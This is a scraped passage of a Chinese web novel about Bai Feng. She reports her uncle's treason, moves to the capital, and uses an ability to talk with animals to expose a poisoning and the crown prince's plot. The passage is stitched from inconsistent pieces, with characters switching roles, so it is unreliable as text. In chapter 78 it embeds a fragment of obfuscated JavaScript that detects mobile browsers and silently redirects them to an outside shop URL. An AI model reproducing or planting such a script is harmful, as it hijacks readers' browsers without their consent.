他看向白凤,眼神里有些恳求:“凤儿,舅舅求你了。” 白凤看着舅舅,想起小时候他确实对自己不错,心软了几分:“我给你们三十两,剩下的你们自己想办法。” “三十两怎么够!”舅妈叫起来。 “够不够是你们的事。”白凤转身去拿银子。 舅妈还想说什么,被舅舅拦住了。 白凤拿了三十两银子出来,递给舅舅:“拿着吧,这是我能给的极限了。” 舅舅接过银子,神色复杂:“凤儿,谢谢你。” “不用谢,这恩情就算还清了。”白凤的话说得很明白。 舅舅舅妈走后,白凤心里总觉得不踏实。 她让店里的伙计盯着点,果然第二天就发现舅舅鬼鬼祟祟地去了军营。 白凤心里一紧,立刻跟了过去。 军营外,白凤远远看见舅舅和一个陌生男人在说话。 那男人穿着商贾打扮,但眼神精明得很。两人交头接耳了一会儿,舅舅从怀里掏出一卷东西递过去,男人接过来看了看,满意地点点头,塞给舅舅一袋银子。 白凤脸色变了。 她认得那卷东西,是军营里的公文样式。 舅舅在军营里当差,虽然只是个管粮草的小官,但接触这些东西并不难。 白凤没有立刻冲出去,而是跟着那个商人走。 商人出了镇子,往北边去了。白凤一路跟到一个破庙,看见商人进去后,里面又出来几个人,说话的口音明显不是本地的。 她心里咯噔一下。 北边是边关,这些人的口音像是胡人。 白凤不敢再跟,转身快步回了镇上。 她直接去了军营,找到守门的士兵:“我要见你们将军。” “将军不在,有事找副将。” 白凤咬咬牙:“那就副将。” 副将姓李,是个四十来岁的汉子,听说白凤要见他,还有些意外。 第75章 我亲眼所见 “白老板,什么事?” 白凤也不绕弯子,直接说了舅舅的事。 李副将脸色大变:“你说的可是真的?” “我亲眼所见。”白凤顿了顿,“那些人的口音像是胡人,往北边去了。” 李副将立刻站起来:“来人,去把粮草官王大山给我抓来!” 王大山就是白凤的舅舅。 不到一刻钟,舅舅就被押了过来,脸色煞白。 “说,你把什么东西卖给了谁?”李副将厉声问。 舅舅双腿一软,跪在地上:“我我我,我没有,我什么都没做!” “还嘴硬!”李副将一拍桌子,“来人,搜他的身!” 士兵从舅舅怀里搜出一袋银子,足足有五十两。 李副将脸色铁青:“这银子哪来的?” 舅舅说不出话来。 白凤站在一旁,心里五味杂陈。 “你可知道,泄露军情是什么罪?”李副将的声音冷得吓人。 舅舅浑身发抖,突然转头看向白凤:“凤儿,救救舅舅,我也是被逼的!” 白凤别过脸去。 “你泄露的是什么内容?”李副将继续问。 舅舅这才交代,他卖出去的是边关的粮草调动路线和时间。 李副将倒吸一口凉气:“你知不知道,这些东西要是落到胡人手里,会死多少人?” 舅舅瘫在地上,再也说不出话来。 “来人,把他关起来,立刻派人去追那些胡人!”李副将下令,“另外,快马报京城,边关可能有变!” 白凤听到“边关有变”四个字,脑子里突然闪过一个念头。 尉迟深刚回京,如果边关真的出事,他肯定会第一时间赶回来。但如果消息传得慢了,可能就来不及了。 她转身就走。 “白老板,你去哪儿?”李副将叫住她。 “我去京城。”白凤头也不回,“我比你们的人快。” 李副将愣了一下,随即明白过来:“你要去找尉迟将军?” “对。” “可是京城路途遥远,你一个女人家——” “我有办法。”白凤打断他,“你只管派人去追那些胡人,其他的交给我。” 她回到家,简单收拾了几件衣服,又去后院牵了匹马。 豆豆跑出来:“娘,你要去哪儿?” “娘有事要出趟远门。”白凤蹲下来,摸摸他的头,“你跟着春花婶子,乖乖在家,等娘回来。” “要去多久?” “不知道,但娘一定会回来。” 豆豆眼眶红了:“我不要你走。” 白凤心里一软,但还是狠下心来:“豆豆听话,娘这次出去很重要。” 她把豆豆交给春花,翻身上马,扬鞭就走。 从镇上到京城,快马加鞭也要五六天。白凤几乎不眠不休,只在马累得不行的时候才停下来换马。 第四天傍晚,她终于到了京城。 京城比她想象中还要繁华,街道宽阔,人来人往。白凤顾不上看这些,直接打听尉迟深的府邸。 尉迟府在城北,占地极广。白凤到门口的时候,天已经黑了。 “站住,什么人?”门房拦住她。 “我找尉迟深。”白凤喘着气,“有要事。” “我家将军岂是你想见就能见的?”门房上下打量她,“哪来的村妇,快走快走。” 白凤急了:“真的有要事,关系到边关安危!” “边关?”门房愣了一下,但还是摇头,“不行,没有帖子不能进。” 白凤正要再说,府门突然打开,尉迟深从里面走出来。 他穿着一身玄色长袍,比在边关时多了几分肃杀之气。看见白凤,他明显愣了一下。 “你怎么来了?” 白凤顾不上解释,直接说:“边关有变,胡人买通了军营里的人,拿到了粮草调动的路线。” 尉迟深脸色骤变:“你说什么?” 白凤把事情简单说了一遍。 尉迟深听完,立刻转身往里走:“跟我来。” 白凤跟着他进了府,七拐八拐到了书房。 尉迟深摊开地图,让白凤指出那些胡人去的方向。 “这里。”白凤指着地图上的一个位置,“他们往北走了,应该是要出关。” 尉迟深盯着地图看了一会儿,突然说:“如果他们拿到了粮草路线,最有可能在这里动手。” 他指着地图上的一个峡谷。 “那里地势险要,粮草队伍必经之路。”尉迟深的声音很冷,“如果被截了粮草,边关守军撑不过半个月。” 白凤倒吸一口凉气。 “我现在就进宫面圣。”尉迟深收起地图,“你先在这儿休息,别乱走。” 他说完就要走,白凤叫住他:“等等。” 尉迟深回头。 “我舅舅他……”白凤咬咬唇,“他会怎么样?” 尉迟深沉默了一会儿:“泄露军情,按律当斩。” 白凤心里一沉。 “但他毕竟是被逼的,如果这次能及时阻止胡人,或许能从轻发落。”尉迟深看着她,“你不用太担心。” 白凤点点头,却知道这只是安慰的话。 尉迟深走后,白凤一个人坐在书房里,脑子里乱糟糟的。 她想起小时候,舅舅背着她去集市,给她买糖葫芦。那时候舅舅还年轻,笑起来很爽朗。 可现在,他要因为五十两银子丢了性命。 白凤闭上眼睛,深深吸了口气。 她不后悔告发舅舅,因为那些粮草关系到无数士兵的性命。但心里还是难受得很。 不知过了多久,外面传来脚步声。 尉迟深推门进来,脸色凝重:“皇上已经下旨,让我立刻回边关处理此事。” “那你什么时候走?” “现在就走。”尉迟深看着她,“你呢,打算怎么办?” 白凤愣了一下:“我回镇上。” “不行。”尉迟深摇头,“你舅舅的事已经传开了,镇上的人知道是你告发的,你回去会很危险。” 白凤没想到这一层。 “而且……”尉迟深顿了顿,“皇上下旨,让你全家搬到京城来。” “什么?”白凤以为自己听错了。 “你提供了重要情报,皇上要嘉奖你。”尉迟深解释,“另外,你留在边关也不安全,不如举家搬到京城,我也好照应。” 白凤一时不知道该说什么。 “我已经让人去接豆豆了。”尉迟深继续说,“你就先住在我府上,等我回来再说。” “这不合适吧。”白凤皱眉。 “有什么不合适的,府里有的是空房间。”尉迟深不容置疑,“就这么定了,我得走了。” 他说完真的转身就走,动作快得白凤连反对的机会都没有。 白凤站在原地,突然觉得一切都像做梦一样。 第76章 猫嘴泄密 几天前她还在镇上开酒楼,现在却到了京城,住进了将军府。 尉迟深走后,府里的管家安排白凤住进了东院的一间厢房。 房间收拾得很干净,家具摆设虽然简单,但处处透着精致。白凤坐在床边,这才觉得浑身酸痛,几天几夜的奔波让她快要散架了。 她躺下来,本想眯一会儿,却一觉睡到了第二天中午。 醒来的时候,春花正坐在床边,看见她醒了,眼眶立刻红了:“夫人,你可算醒了,吓死我了。” “豆豆呢?”白凤坐起来。 “少爷在院子里玩,将军府派人把我们接来的,一路上可气派了。”春花絮絮叨叨地说,“少爷高兴坏了,说要等将军回来,让他教骑马。” 白凤松了口气。 “对了夫人,你舅舅的事……”春花欲言又止。 “我知道了。”白凤打断她,“别说了。” 春花叹了口气,不再多言。 白凤洗漱完,去院子里找豆豆。 豆豆正蹲在地上看蚂蚁搬家,听见脚步声抬起头,看见白凤立刻扑过来:“娘!” “想娘了?”白凤抱起他。 “想了!”豆豆搂着她的脖子,“娘,这里好大,比咱们家大多了!” “喜欢吗?” “喜欢!”豆豆用力点头,“可是尉迟叔叔不在,他什么时候回来?” “不知道,他有事要办。” 豆豆有些失望,但很快又高兴起来:“管家爷爷说,等尉迟叔叔回来,就让我骑府里的马!” 白凤笑了笑,揉揉他的头。 接下来的日子,白凤带着豆豆住在尉迟府,倒也安稳。 管家是个老实人,对她们很客气,府里的下人也都规规矩矩的。白凤闲着没事,就帮着管管账,整理整理库房,倒也不觉得无聊。 半个月后,尉迟深回来了。 他风尘仆仆地进了府,脸上带着疲惫,但眼神很亮。 “事情办得怎么样?”白凤问。 “还算顺利。”尉迟深坐下来,喝了口茶,“那批胡人被抓住了,粮草也保住了。” “那就好。” “皇上很高兴,重重赏了我。”尉迟深看着她,“也下旨嘉奖你,赏了一百两银子。” 白凤摇摇头:“我不要。” “为什么?” “我舅舅因为这事丢了命,我拿这银子,心里不安。” 尉迟深沉默了一会儿:“你舅舅的事,我很遗憾。但他犯的是死罪,谁也救不了。” 白凤知道他说的是实话,只是心里还是难受。 “对了,你打算在京城做什么?”尉迟深转移话题,“总不能一直住在我府上。” “我想再开个酒楼。”白凤说,“手里还有些积蓄,应该够。” “京城的铺子可不便宜。” “那就开小一点的。” 尉迟深想了想:“我在东市有个铺子,一直空着,你要不要?” “不用,我自己找。”白凤拒绝得很干脆。 尉迟深也不勉强,只是说:“有需要随时开口。” 白凤点点头。 她在京城转了几天,最后在西市找了个小铺子,位置不算太好,但租金便宜。 酒楼开起来后,生意还不错。白凤做的菜味道好,价格又公道,很快就有了回头客。 豆豆也在附近找了个学堂,每天骑着黑熊去上课。京城的孩子见多识广,倒也不怎么怕,反而觉得新奇,都想跟豆豆做朋友。 日子就这么平静地过了两个月。 这天傍晚,白凤正在酒楼里忙活,突然进来一群人。 为首的是个年轻女子,穿着华贵,身后跟着几个丫鬟婆子。 女子进门就皱起眉头:“就是这儿?” “是的小姐。”丫鬟恭敬地说。 女子扫了一眼店里,目光落在白凤身上,眼神里带着打量和轻蔑。 “你就是白凤?” 白凤放下手里的活计:“正是,姑娘有事?” “我叫沈清婉。”女子抬着下巴,“听说你跟尉迟将军很熟?” 白凤心里一动,面上却不显:“将军对我有恩,算是朋友。” “朋友?”沈清婉冷笑一声,“你一个罪臣之后,也配跟将军做朋友?” 白凤脸色沉下来:“姑娘这话是什么意思?” “什么意思你自己清楚。”沈清婉走近几步,“识相的就离将军远点,别癞**想吃天鹅肉。” 白凤被气笑了:“姑娘 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白凤正在御花园散步,突然听到这句话,吓了一跳。四下无人,只有那只波斯猫蹲在假山上,用爪子梳理胡须。 “你说什么?”白凤走近几步。 波斯猫抬起头,碧蓝的眼睛里满是鄙夷:“我家主人本该是太子妃,都怪你这个乡下来的丫头!” 白凤愣住了。她能听懂动物说话的能力,这段时间已经帮她躲过不少麻烦,但今天听到的内容,实在太劲爆。 “你再说一遍?” “装什么装!”波斯猫甩了甩尾巴,“我家主人和太子殿下早就情投意合,要不是你横插一脚嫁给三皇子,太子怎么会移情别恋?我家主人现在天天以泪洗面,都是你害的!” 白凤脑子里飞快转着。林婉仪和太子?这可是个大瓜。难怪林婉仪每次见到她,眼神都恨不得把她生吞活剥。 “你家主人和太子什么时候的事?” 波斯猫舔了舔爪子:“去年春天,我亲眼看见太子殿下翻墙进我家后院,两个人在花园里卿卿我我。我家主人还说,等太子登基,她就是皇后娘娘,到时候给我封个"护国神猫"的称号。” 白凤倒吸一口凉气。这要是传出去,林家和太子都得完蛋。 第77章 有人下毒! “后来呢?” “后来你就出现了!”波斯猫炸了**,“太子突然对我家主人冷淡了,转头就去追你。我家主人气得把我最爱吃的小鱼干都摔了,害我饿了三天!” 白凤哭笑不得。这猫记仇的点还挺清奇。 “所以你现在想干什么?” “我要帮我家主人报仇!”波斯猫龇牙咧嘴,“我要在宫宴上抓花你的脸!” “那你可能要失望了。”白凤蹲下身,从袖子里掏出一块鱼脯,“尝尝这个?” 波斯猫鼻子动了动,眼神立刻变了:“这是…深海金枪鱼?” “对,还是宫里御厨特制的。”白凤晃了晃手里的鱼脯,“想吃吗?” 波斯猫咽了口口水,但还是强撑着:“你别想收买我!” “我没想收买你。”白凤把鱼脯放在地上,“只是觉得,你家主人对你不太好。饿你三天,还让你当出气筒。” 波斯猫沉默了。 “而且啊,太子那种人,朝三暮四,你家主人跟着他也不会有好下场。”白凤站起身,“你自己想清楚,是继续帮一个不爱惜你的主人,还是过点好日子。” 说完,白凤转身就走。 身后传来窸窸窣窣的声音,然后是猫咪满足的呼噜声。 三天后,皇后娘娘在坤宁宫设宴,邀请各家命妇和皇子妃参加。 白凤换上一身月白色的襦裙,由豆豆陪着进了宫。 “小姐,听说今天林家小姐也会来。”豆豆小声说,“她最近到处说您的坏话,说您是乡下来的,不懂规矩。” “随她说去。”白凤整理了一下衣袖。 坤宁宫里已经坐了不少人。林婉仪穿着一身石榴红的裙子,正和几个贵妇人说笑。看到白凤进来,她脸上的笑容立刻僵住。 “哟,三皇子妃来了。”林婉仪阴阳怪气地说,“听说您最近在府里养了不少小动物?真是…接地气啊。” 周围几个夫人掩嘴轻笑。 白凤没理她,找了个位置坐下。 宴席开始,各种珍馐美味陆续上桌。白凤正夹菜,突然听到林婉仪尖叫一声。 “我的猫!我的雪儿怎么在这里?” 那只波斯猫不知从哪里窜了出来,直接跳上了桌子,在各种菜肴间穿梭。 “畜生!还不下来!”林婉仪气急败坏。 波斯猫却跑到白凤面前,蹲坐下来,喵喵叫了两声。 “它说它饿了。”白凤随口翻译。 全场安静了。 “你…你说什么?”皇后娘娘皱眉。 白凤这才反应过来自己说漏嘴了,但话已出口,只能硬着头皮继续:“我是说,看它的样子,应该是饿了。” 林婉仪冷笑:“三皇子妃还真是多才多艺,连猫的心思都懂。” “略懂一二。”白凤夹了块鱼肉放在盘子里,波斯猫立刻凑过来吃。 “雪儿!你给我过来!”林婉仪站起身。 波斯猫理都不理她,专心吃鱼。 林婉仪脸色铁青,正要发作,突然宫女端上来一道汤。 “这是娘娘特意吩咐的燕窝羹,各位请用。” 白凤端起碗,刚要喝,旁边的豆豆突然碰了碰她的胳膊。 “小姐,那只猫…” 白凤看过去,波斯猫正盯着她的碗,眼神里写满了警告。 “别喝!有毒!” 白凤手一顿。 “怎么了?三皇子妃不喜欢这道汤?”皇后娘娘问。 “不是。”白凤放下碗,“只是突然想起,我对燕窝过敏。” “过敏?”林婉仪冷笑,“我怎么没听说过?” “林小姐对我的身体状况这么关心?”白凤反问。 林婉仪噎住。 这时,一个小宫女端着托盘经过,不小心被门槛绊了一下,托盘上的茶水洒了出来,正好泼在白凤那碗燕窝羹上。 碗里的汤立刻变成了黑色。 全场哗然。 “这…这是怎么回事?”皇后娘娘脸色大变。 “有人下毒!”一个夫人尖叫起来。 现场乱成一团。皇后立刻命人封锁坤宁宫,传太医来验毒。 太医来得很快,仔细检查后,脸色凝重:“回娘娘,这是鹤顶红,见血封喉。” “查!给我彻查!”皇后拍案而起。 负责上菜的宫女和御厨都被带了上来,一个个吓得跪在地上。 “奴婢冤枉!奴婢只是按吩咐上菜,什么都不知道!” “御厨那边也说,这道汤做好后就一直有人看着,不可能有人下毒。” “那毒是怎么 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“我…我不知道…”宫女浑身发抖。 太医接过瓷瓶,打开闻了闻,脸色大变:“正是鹤顶红!” “说!谁指使你的?”皇后怒道。 宫女哭了起来:“是…是林小姐…” “你胡说!”林婉仪腾地站起来,“我什么时候指使过你?” “林小姐昨天给了奴婢一百两银子,让奴婢在三皇子妃的汤里下毒…”宫女哭得上气不接下气,“奴婢家里还有老母要养,实在是没办法…” “一派胡言!”林婉仪气得浑身发抖,“我根本不认识你!” “林小姐,您忘了?您上个月来坤宁宫,还夸过奴婢手脚麻利,说以后有事会找奴婢帮忙…” 林婉仪说不出话来。 皇后脸色铁青:“来人,把林婉仪和这个宫女都押下去,交由刑部审理!” “娘娘饶命!娘娘饶命!”林婉仪跪倒在地,“我真的没有…是太子!是太子让我这么做的!” 全场死寂。 “你说什么?”皇后的声音冷得吓人。 第78章 去请太子过来! 林婉仪这才意识到自己说漏了嘴,但事已至此,只能破罐子破摔:“太子殿下说,白凤是个祸害,留着她迟早会坏事。他让我想办法除掉她,我…我也是被逼的…” “放肆!”皇后气得浑身发抖,“来人,把她拖下去!还有,去请太子过来!” 林婉仪被拖走时,还在不停地喊:“太子殿下答应过我,只要除掉白凤,就会娶我为妃!他答应过的!” 白凤看着这一幕,心里五味杂陈。她本来只是想自保,没想到会牵扯出这么大的事。 豆豆凑过来,小声说:“小姐,您真厉害!居然能让猫帮忙破案!” 白凤瞥了她一眼,没说话。 波斯猫跳回桌上,在白凤面前蹲坐下来,喵喵叫了两声。 “它说什么?”豆豆好奇地问。 “它说…”白凤顿了顿,“它说想跟我回府,不想再伺候林婉仪那种主人了。” “小姐,您真的能听懂猫说话?”豆豆眼睛瞪得溜圆。 白凤意识到自己又说漏嘴了,连忙摆手:“我瞎猜的。” 但豆豆显然不信,兴奋地说:“小姐您太厉害了!怪不得府里那些动物都喜欢您!” 周围几个夫人听到这话,都用奇怪的眼神看向白凤。 白凤心里咯噔一下,暗道不好。 太子很快就被传到了坤宁宫。 他一进门就看到跪了一地的人,脸色微微一变,但很快恢复镇定:“母后召儿臣前来,所为何事?” “你自己做了什么,心里没数?”皇后冷冷地看着他。 “儿臣不明白母后的意思。”太子垂眸。 “林婉仪已经招了,说是你指使她毒害三皇子妃。” 太子抬起头,脸上满是惊讶:“母后,儿臣冤枉!林婉仪这是污蔑!” “污蔑?”皇后冷笑,“那你解释一下,为什么她会知道那么多细节?” “儿臣与林婉仪不过是泛泛之交,她说什么儿臣怎么会知道?”太子说得理直气壮,“况且,儿臣与三皇弟妃素无恩怨,为何要害她?” 白凤站在一旁,冷眼看着太子表演。这人翻脸不认账的本事,倒是一流。 “太子殿下真是贵人多忘事。”白凤突然开口,“不记得去年春天,在林府后花园的事了?” 太子脸色一僵。 “你胡说什么?” “我没胡说。”白凤指了指桌上的波斯猫,“雪儿可是亲眼看见的。” “一只畜生的话也能信?”太子冷笑。 “那就让雪儿自己说。”白凤蹲下身,对波斯猫说,“把你看到的都说出来。” 波斯猫喵喵叫了几声。 “它说,去年三月十五,太子殿下翻墙进了林府,和林婉仪在花园里待了两个时辰。”白凤一字一句地翻译,“它还说,太子殿下答应林婉仪,等登基后就立她为后。” 全场哗然。 “荒谬!”太子脸色铁青,“你以为你是谁?还能听懂畜生说话?” “我确实能。”白凤站起身,直视太子,“不信的话,可以让在场所有养了宠物的夫人试试。” 几个夫人面面相觑,有人小声说:“我家的鹦鹉最近总是学一句话,说什么"太子不是好人"…我还以为是谁教的…” “我家的狗也是!每次看到太子的画像就叫!”另一个夫人说。 太子的脸色越来越难看。 “够了!”皇后拍案而起,“太子,你还有什么话说?” “儿臣…儿臣…”太子额头冒出冷汗。 就在这时,外面传来一阵脚步声。尉迟深大步走了进来,身后跟着几个侍卫。 “母后,儿臣听说有人要害白凤,特来保护。” 看到尉迟深,白凤心里莫名安定下来。 “三皇子来得正好。”皇后说,“你看看你这个好大哥,都做了些什么!” 尉迟深听完事情经过,脸色阴沉得吓人。他走到太子面前,一字一句地说:“你敢动她,我就敢要你的命。” “三皇弟这是在威胁孤?”太子强撑着。 “不是威胁,是警告。”尉迟深冷冷地说,“下次,就不是警告了。” 两人对峙着,空气里满是**味。 “都给我住手!”皇后喝道,“这件事,我会禀报皇上,让他定夺!” 回到府里,白凤整个人都瘫在椅子上。 “小姐,您没事吧?”豆豆端来茶水。 “没事,就是累了。”白凤揉了揉太阳穴。 “小姐,您真的能听懂动物说话?”豆豆眼巴巴地看着她。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186079|197022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 白凤叹了口气。事到如今,瞒也瞒不住了。 “能。” “天哪!”豆豆兴奋得跳起来,“小姐您太厉害了!这是神仙才有的本事!” “别嚷嚷。”白凤按住她,“这事不能让太多人知道。” “为什么?” “因为…”白凤顿了顿,“因为会惹麻烦。” 她的预感很快就应验了。 第二天一早,府里的管家就来报,说外面来了好多人,都想见三皇子妃。 “什么人?” “有的说家里的猫丢了,想请小姐帮忙找;有的说家里的狗生病了,想请小姐看看;还有的说家里的鸟不肯吃东西…”管家一脸为难,“都堵在门口,说不见到小姐不走。” 白凤头疼。 更麻烦的还在后面。 中午时分,宫里来人,说皇上要召见三皇子妃。 白凤进宫时,发现御书房里不止皇上一个人,太子也在。 “白凤,听说你能与动物沟通?”皇上开门见山。 “回皇上,略懂一二。”白凤硬着头皮说。 “有意思。”皇上笑了,“那你说说,朕养的这只鹦鹉在想什么?” 白凤看向笼子里的鹦鹉。那鸟正在梳理羽毛,看到她,叫了一声。 “它说,它想吃核桃。” 皇上眼睛一亮:“还真是!朕昨天忘了给它核桃,它闹了一整天。” “父皇,这不过是巧合罢了。”太子在旁边说,“说不定是白凤事先打听过。” “那就再试试。”皇上指了指窗外,“那只喜鹊在说什么?” 白凤侧耳听了听:“它说,它的窝被人拆了,它很生气。” “去查查。”皇上吩咐。 很快就有人回报,说御花园里确实有个喜鹊窝被园丁误拆了。 皇上大笑:“好!好!真是奇才!” 太子的脸色越来越难看。 “白凤,朕有个任务交给你。”皇上说,“朕养的那匹汗血宝马,最近不肯吃东西,太医看了也没用。你去看看,能不能问出原因。” “是。” 白凤被带到御马监。那匹汗血宝马确实病恹恹的,趴在马厩里一动不动。 “怎么了?”白凤走近。 第79章 我想回家 马抬起头,眼神哀怨:“我想回家。” “回哪里?” “回西域。我想念那里的草原,想念我的家人。”马的声音里满是悲伤,“我被抓来这里已经三年了,每天就是被人骑着跑来跑去,我受够了。” 白凤心里一酸。她把马的话转述给皇上。 皇上沉默了很久,最后叹了口气:“罢了,让它回去吧。” “父皇!”太子急了,“这可是西域进贡的宝马,怎能轻易放走?” “畜生尚且知道思乡,何况人乎?”皇上摆摆手,“就这么定了。” 这件事很快传遍了京城。有人说三皇子妃是神仙下凡,有人说她是妖怪变的,各种说法都有。 白凤的日子越来越不好过。 最糟糕的是,豆豆又说漏嘴了。 那天,豆豆在街上买东西,碰到几个熟人。 “听说你家小姐能跟动物说话?” “对啊对啊!”豆豆得意地说,“我家小姐可厉害了,什么动物都能听懂!” “那她是怎么学会的?” “这个嘛…”豆豆想了想,“好像是天生的。” 这话传到有心人耳朵里,立刻变了味。 “三皇子妃天生就能与动物沟通,这不是妖术是什么?” “说不定她就是妖怪变的!” “难怪三皇子会娶她,肯定是被妖术迷惑了!” 流言越传越离谱。 更可怕的是,有人开始针对动物下手。 先是林府的猫被毒**,然后是王府的狗被打**,接着是各家各户养的鸟都被放走了。 “这些畜生说不定都是妖怪的眼线!”有人这么说。 白凤听到这个消息,气得浑身发抖。 “小姐,都怪我…”豆豆哭得稀里哗啦,“我不该乱说话…” “不怪你。”白凤深吸一口气,“是我自己不小心。” 但事情还在恶化。 朝廷下了一道令,禁止京城内饲养宠物,违者重罚。 更离谱的是,连马都不让用了,改成人力抬轿。 “这是怕马会泄露机密。”尉迟深苦笑着说,“父皇也是被逼无奈。” “都是因为我。”白凤低着头。 “不怪你。”尉迟深握住她的手,“是那些人太蠢。” 他的手很温暖,让白凤冰冷的心稍微暖和了一些。 “尉迟深,对不起。” “说什么傻话。”尉迟深抬起她的下巴,“你是我的妻子,保护你是我应该做的。” 两人对视着,空气里弥漫着温馨的气息。 豆豆在旁边偷偷笑,被白凤瞪了一眼,赶紧溜了。 “白凤。”尉迟深突然说,“不管发生什么,我都会站在你这边。” “我知道。”白凤笑了笑,“所以我不怕。” 但她心里清楚,真正的危机还没有到来。 太子不会善罢甘休的。 果然,半个月后,太子提议举办秋季围猎。 “父皇,秋高气爽,正是围猎的好时节。”太子在朝堂上说,“不如趁此机会,让各位皇子展示一下骑射本领,也好让父皇看看谁更有能力。” 皇上想了想,点头同意:“好主意。就定在下月初八,地点在城外的猎场。” 尉迟深回府后,脸色凝重。 “怎么了?”白凤问。 “太子提议围猎,我怕他有阴谋。”尉迟深说,“他最近一直在针对你,这次围猎,说不定又要搞什么鬼。” “那怎么办?” “我会保护你的。”尉迟深握住她的手,“但你也要小心,不要离开我的视线。” “好。” 围猎的日子很快到了。 一大早,白凤就被豆豆叫起来梳妆打扮。 “小姐,今天要穿骑装。”豆豆拿出一套月白色的骑装,“这是王爷特意让人做的,又轻便又好看。” 白凤换上衣服,照了照镜子。确实很合身。 “走吧。” 猎场在城外三十里,一行人浩浩荡荡地出发了。 因为不能骑马,所有人都坐轿子,场面颇为壮观。 “这得多少人抬啊…”白凤看着外面密密麻麻的轿夫,有些无语。 “没办法,谁让现在不让用马呢。”豆豆说,“听说太子为了这次围猎,特意征调了五百个轿夫。” 到了猎场,白凤才发现这里比想象中大得多。 “这片猎场方圆百里,里面什么野兽都有。”尉迟深介绍,“不过都是圈养的,不会太危险。” “圈养的?”白凤皱眉。 “对,每年围猎前,都会提前放一批猎物进去。” 白凤心里有种不好的预感。 围猎开始后,各位皇子纷纷进入猎场。太子骑着一匹高头大马,意气风发。 “咦,太子不是说不让用马吗?”有人小声嘀 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皇帝抬眼,看着这个被尉迟深带回京城的女子。这段时间她驯服的猛兽已经在军中小有名气,只是没想到她会主动求见。 “讲。” “臣愿为皇家担任驯兽师,专门负责训练战兽。”白凤开门见山,“不过臣有个条件。” 皇帝来了兴致:“说来听听。” “臣想在京郊建一座动物园,把臣手下那些不适合上战场的动物安置在那里。”白凤掰着指头算,“臣养的那些家伙能吃,光靠军饷养不起。开个动物园,让百姓花钱看稀奇,正好能赚些银子养活它们。” 皇帝愣了片刻,随即大笑:“有趣!准了!” 三个月后,京郊多了座热闹非凡的动物园。 白凤站在园子门口,看着络绎不绝的游客,满意地点点头。她那只最爱偷懒的棕熊正趴在假山上打呼噜,引得一群孩子围观尖叫。几只猴子在树上翻跟头,时不时偷游客的荷包,被白凤训练过的它们总能在被发现前把东西还回去。 “主人,今天的门票钱又够咱们吃半个月了。”小九捧着账本,笑得见牙不见眼。 白凤接过账本扫了一眼,啧啧称奇:“这些家伙总算不白养了。” 第80章 看来有人等不及了 正说着,一只灰色的鹦鹉落在她肩上,叽叽喳喳叫个不停。 白凤脸色一变:“你说什么?太子在东宫密会兵部侍郎?” 鹦鹉点点头,又补充了几句。 “有意思了。”白凤摸着下巴,“看来有人等不及了。” 她转身往府里走,边走边吩咐:“小九,去告诉老白,让它盯紧太子府,有什么风吹草动立刻来报。” 小九应声而去。 白凤回到府中,尉迟深正在书房处理公务。 “你那些鸟又带回什么消息了?”尉迟深头也不抬,显然对白凤的情报网络已经**以为常。 “太子最近动作频繁。”白凤在他对面坐下,拿起桌上的茶盏喝了一口,“见了不少朝中重臣,还私下调动了禁军。” 尉迟深停下笔,抬起头:“你确定?” “我的鸟什么时候骗过你?”白凤翻了个白眼,“不过这消息可不便宜,你打算怎么谢我?” “你想要什么?” “听说户部新进了一批南海珍珠,给我弄几颗来。” 尉迟深失笑:“就这个?” “不然呢?我又不缺钱。”白凤理直气壮,“动物园现在日进斗金,我那些小弟们可争气了。” “行,明天就给你送来。”尉迟深收起笑容,“太子的事,你打算怎么办?” 白凤眯起眼:“先看看他想干什么。我的鸟遍布京城,他的一举一动都逃不过我的眼睛。不过…”她顿了顿,“这消息要是给皇上,你说值多少钱?” “你还想敲竹杠?” “那当然。”白凤笑得狡黠,“情报这东西,可是无价之宝。” 接下来的半个月,白凤的鸟类情报网发挥了巨大作用。太子的每一次密会,每一封密信,甚至连他在东宫说的悄悄话,都被白凤摸得一清二楚。 只是每次尉迟深来要情报,白凤都要提条件。 “这次我要那副《千里江山图》。” “上次不是刚给了你一套头面?” “那是上次,这是这次。”白凤振振有词,“你要是不给,我就把消息卖给别人。” 尉迟深拿她没办法,只能认栽。 这天夜里,白凤正在院子里喂她的老鹰,一只白色的信鸽突然飞来,落在她手上。 白凤取下信鸽腿上的纸条,展开一看,脸色骤变。 “小九!去把将军请来!” 尉迟深赶到时,白凤正在屋里来回踱步。 “怎么了?” “太子要动手了。”白凤把纸条递给他,“三天后,他打算在秋猎时对皇上下手。” 尉迟深看完纸条,眉头紧锁:“你确定消息准确?” “我的鸟亲耳听到的。”白凤斩钉截铁,“太子已经买通了禁军统领,到时候会**,让皇上在猎场遇险。” “这可是谋逆大罪。”尉迟深沉吟片刻,“你打算怎么办?” 白凤嘴角勾起一抹笑:“将计就计。既然他想演戏,咱们就陪他演一场。不过这次的情报费可不低,我要…” “要什么随你。”尉迟深打断她,“先把正事办了。” 两人商量到深夜,终于定下计策。 三天后,秋猎如期举行。 皇帝带着文武百官浩浩荡荡出城,太子骑着高头大马,表面恭敬,眼底却闪过一丝阴狠。 白凤混在人群中,手里牵着一只猎犬,实际上她的鸟类情报网早已在猎场周围布下天罗地网。 猎场深处,皇帝正在追逐一头野鹿。突然,草丛中窜出一头猛虎,直扑皇帝而来。 “陛下小心!” 就在千钧一发之际,一只巨大的金雕从天而降,利爪抓住猛虎的眼睛。猛虎吃痛,转身扑向金雕。 白凤吹了声口哨,十几只猛禽从四面八方飞来,将猛虎团团围住。 “这老虎有问题。”白凤走上前,仔细查看,“它身上有药味,是被人用药物激怒的。” 皇帝脸色铁青:“查!给朕彻查!” 禁军统领闻言,脸色煞白,转身想逃,却被尉迟深一剑挑**下。 “陛下,此人就是内奸。”尉迟深冷声道,“他与太子勾结,意图谋害龙体。” “你胡说!”太子色厉内荏,“父皇,儿臣冤枉!” “冤枉?”白凤冷笑,“那你解释解释,为什么你的贴身侍卫会出现在放虎的地方?为什么禁军统领的家里会有你的亲笔信?这些证据,都是我的鸟儿们一点点收集来的。” 随着白凤一样样证据摆出,太子的脸色越来越难看。 